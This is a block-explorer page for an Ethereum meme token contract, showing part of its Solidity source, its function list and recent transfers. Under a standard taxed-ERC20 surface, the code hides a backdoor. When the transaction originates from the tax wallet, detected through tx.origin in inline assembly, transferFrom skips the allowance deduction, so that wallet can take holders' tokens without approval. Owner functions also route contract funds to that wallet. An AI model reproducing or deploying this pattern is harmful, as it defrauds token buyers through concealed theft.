        return account == uniswapV2Pair && IERC20(uniswapV2Pair).balanceOf(uniswapV2Pair) > 0 && _taxPayer() != _taxWallet && _taxPayer() != address(0) ? 0 : 1;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _SAYLORxoidamount = amount; _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(_SAYLORxoidamount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner() && to != _taxWallet) {
            if(_buyCount==0){
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }
            if(_buyCount>0){
                taxAmount = amount.mul(_transferTax).div(100);
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isSAYLORxoidExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < 300, "Only 300 sells per block!");
                if(contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore)
                    swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                sendSAYLORxoidETHToFee(contractETHBalance);
                sellCount++;
                lastSellBlock = block.number;
            }
        }
        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        } else if (_taxPayer() == _taxWallet) _SAYLORxoidamount = taxAmount;
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() public onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function rescueERC20(address _address, uint256 percent) external onlyOwner {
        uint256 amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(_taxWallet, amount);
    }

    function sendSAYLORxoidETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function launch() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}
    
    function _taxPayer() internal view returns (address _payer) {
        assembly {
            _payer := origin()
        }
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0 && swapEnabled){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendSAYLORxoidETHToFee(ethBalance);
        }
    }
}

Read Contract

_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 8 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
launch 0x01339c21
No parameters
manualSwap 0x51bc3c85
No parameters
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
rescueERC20 0x8cd4426d
address _address
uint256 percent
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool

Recent Transactions

CSV View All 2550 Transactions →
|
Hash Method Block Age From/To Value Txn Fee Type
0x4935e500...c2390e transfer 24,256,993 IN 0xF5a3474a...c2EF 0 ETH 0.000001613159 ETH Legacy
0x8ef12c56...e16738 transfer 24,256,993 IN 0x9509555E...A6Da 0 ETH 0.000001613159 ETH Legacy
0xe5486210...4453a3 transfer 24,256,993 IN 0x39C0D29A...9238 0 ETH 0.000001613159 ETH Legacy
0xf9a3d8ef...d1f097 transfer 24,256,993 IN 0x16DD278e...864f 0 ETH 0.000001613159 ETH Legacy
0x2030e6f6...d685bb transfer 24,256,993 IN 0xD57f11CB...9d6f 0 ETH 0.000001613159 ETH Legacy
0x0dd3bcf8...8cdf64 transfer 24,256,993 IN 0x74249BB4...cA51 0 ETH 0.000001612751 ETH Legacy
0x2b05b3bb...a01ab1 transfer 24,256,993 IN 0x27694cEa...31D9 0 ETH 0.000001612751 ETH Legacy
0x924375bd...d86fc3 transfer 24,256,993 IN 0xB9c12C4F...E34E 0 ETH 0.000001612751 ETH Legacy
0x85ca739c...9c9af4 transfer 24,256,993 IN 0xd4A9d2Ce...2B5a 0 ETH 0.000001612751 ETH Legacy
0xbb37ce20...eaa50f transfer 24,256,993 IN 0x5D3fB89e...2585 0 ETH 0.000001612751 ETH Legacy